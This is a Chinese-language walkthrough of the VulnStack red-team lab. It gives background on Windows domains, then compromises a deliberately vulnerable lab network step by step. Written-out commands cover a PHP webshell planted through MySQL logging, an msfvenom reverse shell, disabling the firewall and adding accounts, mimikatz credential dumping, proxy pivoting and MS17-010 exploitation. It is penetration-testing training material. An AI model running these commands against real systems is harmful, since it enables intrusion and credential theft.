[ATT&CK实战]VulnStack红队(一)
内网和域
内网
局域网(Local Area Network,LAN)是指在某一区域内由多台计算机互联成的计算机组。一般是方圆几千米以内。局域网可以实现文件管理、应用软件共享、打印机共享、工作组内的日程安排、电子邮件和传真通信服务等功能。局域网是封闭型的,可以由办公室内的两台计算机组成,也可以由一个公司内的上千台计算机组成。
域
域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。
域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。
域控制器可以对域内计算机进行集中管理,比如在域控制器上可以定义所有用户不能更改桌面,或者所有用户的密码长度必须8位以上,而工作组环境的计算机则无法做到这些。
一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。
- 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后, 2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
- – 域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。
- – 域:域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。
域和域之间可以通过VPN等设备进行连接,并建立从属和平行的域关系
域渗透的思路
通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。
—靶机实战—
环境搭建
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
加上kali攻击机一共四台机器。。。。
kali设置成NAT模式,win7网络适配器1设置成自定义(VMnet1仅主机模式),网络适配器2设置成NAT模式,win2003、win2008 网络适配器设置成自定义(VMnet1仅主机模式)。主机默认开机密码都是hongrisec@2019,手动在win7的c盘下开启phpstudy。
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
攻击机:kali ip:192.168.211.151 / 物理机 ip:192.168.211.1
win7 内网ip:192.168.52.143 外网ip:192.168.211.158
win2003 ip:192.168.52.141
win2008 ip:192.168.52.138
拓扑图
信息收集
先使用nmap进行主机发现
1 | nmap -sP 192.168.211.1/24 |
目标靶机ip为
1 | 192.168.211.158 |
之后再对其进行端口扫描
1 | nmap -A 192.168.211.158 -p 1-65535 |
靶机开放了80端口和3306端口
访问80端口,发现是一个phpstudy探针页面
进行目录扫描
得到phpinfo.php和phpmyadmin页面
可以通过phpinfo.php页面获得网站的绝对路径
访问phpmyadmin,发现使用弱口令root/root能直接登录成功
在数据库中发现了一个newyxcms数据库,猜测应该还有一个yxcms的网站
这里也可以猜到目录为/yxcms
Getshell
通过信息收集得到了两种getshell的可行方式,一种是通过phpmyadmin进行getshell,另一种是通过yxcmsgetshell
phpmyadmin
网站的绝对路径可以通过phpinfo.php获得,尝试通过写入一句话木马进行getshell
先执行show global variables like '%secure%';
查看是否能够写入
1 | secure_file_priv为null 表示不允许导入导出; |
该方法行不通,尝试换一种方法
找到一篇文章,可以通过日志文件写入一句话来获取webshell
我们执行的每一个sql语句都会被保存到日志中,换个思路想一下把这个日志文件重名为.php,然后我们在执行一次sql语句,那么就会被保存在这个.php文件中,这样我们就能顺利拿到webshell。
手动修改:
点击变量选项,搜索gen就会出来general.log和general log file这两个变量,general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,可以看到general.log变量的状态为OFF,故我们要修改为ON;general log file变量中的.log的后缀我们改为php。
SQL语句进行修改:
set global general_log = “ON”; 日记保存状态开启;
SET global general_log_file=’c:/phpStudy/phpstudy/PHPTutorial/WWW/shell.php’
修改日记的保存位。(具体路径还需在实际环境中改变);
之后执行
select “<?php eval($_POST[a]);?>“;
访问1.php,使用蚁剑连接即可得到shell
yxcms
可以很容易找到网站后台?r=admin自动跳转到index.php?r=admin/index/login
爆破一下得到用户名密码为admin/123456
这里可以直接在前台模板出修改index.php文件,直接插入一句话获得shell
内网探测
ipconfig /all
192.168.52.143为win7内网ip地址
win2003和win2008内网ip如下
尝试远程登录
查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况netstat -an | find "3389"
没有回显即没有开启3389端口
可以使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
添加用户
1 | net user test 123!@asd /add # 添加账户密码 |
使用finalshell远程桌面连接,但是连接失败
使用nmap查看3389端口,发现其状态为filtered,查看防火墙只能本地连接
msf反弹shell
首先生成shell.exe
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.151 LPORT=4444 -f exe > shell.exe |
使用msf监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Lhost 192.168.211.151
run
将生成的文件通过蚁剑上传到win7,使用start shell.exe
来执行
成功获得会话
然后关闭防火墙
第一种是刚刚msf反弹回来的输入
run post/windows/manage/enable_rdp
第二种是在菜刀命令终端下输入
netsh advfirewall set allprofiles state off
可成功远程连接,但是另一台机器会被挤下线
使用隧道连接3389
除了使用msf反弹,还可以使用隧道连接3389
1 | 在Sunny-Ngrok的官网 https://www.ngrok.cc/ 注册一个账号(可以通过这个软件实现使用外链访问电脑本地项目的功能),登录之后选择隧道管理->开通隧道->选择一个服务器(frp或者ngrok)->开通隧道并获得一个隧道id->下载客户端->打开客户端启动工具->输入隧道id->本地远程登录。 |
getsystem提到系统权限
mimikatz获取账号密码
加载mimikatz模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程需要是system权限运行
ps查看进程id,选择一个system权限的进程,一般选择explorer.exe对应的PID
这里选择488
1 | migrate 488 |
成功获得账号密码
{ Administrator ; GOD.ORG ; hongrisec@2020 }
域信息收集
常用命令
1 | net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器 |
1 | net group "domain admins" /domain #查看域管理员 |
1 | ipconfig /all |
存在内网和域,192.168.211.138为域控机器
查询域列表
查看同域机器
查看域用户
查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域
信息整理
域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
横向移动
添加路由/挂Socks4a代理
1 | 添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递 |
run get_local_subnets 查看当前网段
run autoroute -s 192.168.52.0/24
run autoroute -p
arp -a查看所有接口的当前 ARP 缓存表
设置代理,设置成功后打开其他程序需前加上proxychains
这里必须将会话放到后台,不能从新开一个msf,不然代理不成功!!!!
1 | Ctrl+z 把会话放到后台 |
1
2
3
4
use auxiliary/server/socks4a #添加socks4a代理
set srvport 1080#设置端口
set srvhost 192.168.211.151
之后修改/etc/proxychains.conf,将9050改为1080
之后便能通过内网ip访问
1 | proxychains curl http://192.168.52.143 |
攻击内网主机
内网存活主机服务探测
1 | auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 |
查看主机开放的端口
1 | proxychains nmap -Pn -sT 192.168.52.141 -p 1-1000 |
开放了445端口,可以尝试使用ms17-010攻击。设置payload时要使用正向连接
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run
拿下域控
扫端口
1 | proxychains nmap -Pn -sT 192.168.52.138 -p 1-500 |
开放445,再尝试用永恒之蓝打一下
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run
但是并没有返回会话,但是 由于前面拿到了管理员账号和密码,所以直接使用exploit/windows/smb/psexec
进行远程登陆(失败)
https://www.cnblogs.com/wkzb/p/12358076.html#autoid-4-2-0
https://wh0ale.github.io/2018/12/19/2018-12-19-%E5%9F%9F%E6%B8%97%E9%80%8F/